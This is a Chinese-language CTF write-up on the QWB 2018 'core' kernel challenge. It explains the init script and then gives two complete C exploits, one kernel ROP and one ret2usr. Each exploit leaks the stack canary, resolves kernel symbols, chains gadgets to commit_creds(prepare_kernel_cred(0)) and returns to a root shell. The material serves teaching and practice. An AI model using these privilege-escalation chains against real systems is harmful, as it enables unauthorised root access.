kernel ROP

借助​​qwb-2018 core​​​这道题目来熟悉一下,kernel ​​rop​​​及​​ret2usr​

首先看一下启动脚本

发现没有开什么保护,只开了一个​​kaslr​​​,为了方便调试我们在这里把它改成​​nokaslr​​关闭即可。

再来看一下​​init​​文件

看一下这个里面的几行命令是什么意思

1、​​mount​​的作用是将分区挂到某个文件夹下,这样我们只要访问这个文件夹就相当于访问了那个分区。

2、下面的 chomd 666 /dev/ptmx 的意思是 /dev/ptmx 可读写但不可执行

3、​​cat /proc/kallsyms > /tmp/kallsyms​​​是将​​/proc/kallsyms​​​复制到​​/tmp/kallsyms​​里

4、​​echo 1 > /proc/sys/kernel/kptr_restrict​​​的作用是使得普通用户无法从​​/proc/kallsyms​​获取到函数的地址,这里给出权限描述:

但是上面已经将​​/proc/kallsyms​​​复制到​​/tmp/kallsyms​​中,故对我们获取地址并没有什么影响,并且本题也并不一定要从这里获取地址。

5、下面几行是搭建网桥

6、​​insmod /core.ko​​​是指加载​​./core.ko​​​这个驱动,我们的​​kernel​​题目中,漏洞一般都出现在驱动当中

7、​​setsid /bin/cttyhack setuidgid 1000 /bin/sh​​​是启动时给我们的权限是普通用户,一般为了方便调试我们可以把它替换为​​setsid /bin/cttyhack setuidgid 0 /bin/sh​​​,这样会方便我们查看​​qemu​​里的一些地址。

8、​​umount​​命令是手动卸载(分离)某个文件文件系统

9、​​poweroff -d 0 -f​​​的作用是强制关闭电源并且不把记录写进​​/var/log/wtmp​​里

rop

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t vmlinux_base, offset, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t rop[0x100] = {0};
size_t user_buf[8] = {0};

void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}

void get_shell()
{
if (getuid() == 0)
{
system("/bin/sh");
}
else
{
puts("[-] get shell error");
exit(1);
}
}

int find_symbols()
{
char buf[0x40]={0};

FILE *fd = fopen("/tmp/kallsyms","r");
if(fd == 0)
{
puts("[-] open /kallsyms error");
exit(0);
}

while(fgets(buf, 0x40, fd))
{
if(commit_creds && prepare_kernel_cred)
{
printf("[+] find commit_creds: %p\n", commit_creds);
printf("[+] find prepare_kernel_cred: %p\n", prepare_kernel_cred);
return 0;
}

if(strstr(buf, "commit_creds") && !commit_creds)
{
char ptr[0x20]={0};
strncpy(ptr, buf ,16);
sscanf(ptr, "%lx", &commit_creds);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char ptr[0x20]={0};
strncpy(ptr, buf ,16);
sscanf(ptr, "%lx", &prepare_kernel_cred);
}
}

return 0;
}

void main()
{
save_status();
int i = 0;
int fd = open("/proc/core",2);
if(fd == 0)
{
puts("[-] open file error");
exit(0);
}

find_symbols();

vmlinux_base = commit_creds - 0x9c8e0;
size_t offset = vmlinux_base - 0xffffffff81000000;

ioctl(fd, 0x6677889C, 0x40);
ioctl(fd, 0x6677889B, user_buf);

for(i=0;i<8;i++)
printf("%d: %p\n", i, user_buf[i]);
size_t canary = user_buf[0];
printf("[+] find canary: %p", canary);

i = 8;

//commit_creds(prepare_kernel_cred(0))
rop[i++] = canary;
rop[i++] = 0; //rbp
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret;
rop[i++] = commit_creds;
rop[i++] = 0xffffffff811ae978 + offset; // mov rdi, rax; jmp rcx;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x100);
ioctl(fd, 0x6677889A, 0x100 | 0xFFFFFFFFFFFF0000);
}

ret2usr

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t vmlinux_base, offset, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t rop[0x100] = {0};
size_t user_buf[8] = {0};

void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}

void get_shell()
{
if (getuid() == 0)
{
system("/bin/sh");
}
else
{
puts("[-] get shell error");
exit(1);
}
}

void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}

int find_symbols()
{
char buf[0x40]={0};

FILE *fd = fopen("/tmp/kallsyms","r");
if(fd == 0)
{
puts("[-] open /kallsyms error");
exit(0);
}

while(fgets(buf, 0x40, fd))
{
if(commit_creds && prepare_kernel_cred)
{
printf("[+] find commit_creds: %p\n", commit_creds);
printf("[+] find prepare_kernel_cred: %p\n", prepare_kernel_cred);
return 0;
}

if(strstr(buf, "commit_creds") && !commit_creds)
{
char ptr[0x20]={0};
strncpy(ptr, buf ,16);
sscanf(ptr, "%lx", &commit_creds);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char ptr[0x20]={0};
strncpy(ptr, buf ,16);
sscanf(ptr, "%lx", &prepare_kernel_cred);
}
}

return 0;
}

void main()
{
save_status();
int i = 0;
int fd = open("/proc/core",2);
if(fd == 0)
{
puts("[-] open file error");
exit(0);
}

find_symbols();

vmlinux_base = commit_creds - 0x9c8e0;
size_t offset = vmlinux_base - 0xffffffff81000000;

ioctl(fd, 0x6677889C, 0x40);
ioctl(fd, 0x6677889B, user_buf);

for(i=0;i<8;i++)
printf("%d: %p\n", i, user_buf[i]);
size_t canary = user_buf[0];
printf("[+] find canary: %p\n", canary);

i = 8;

//commit_creds(prepare_kernel_cred(0))
rop[i++] = canary;
rop[i++] = 0; //rbp
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

puts("debug");
getchar();

write(fd, rop, 0x100);
getchar();
ioctl(fd, 0x6677889A, 0x100 | 0xFFFFFFFFFFFF0000);
}

作者:{狒猩橙}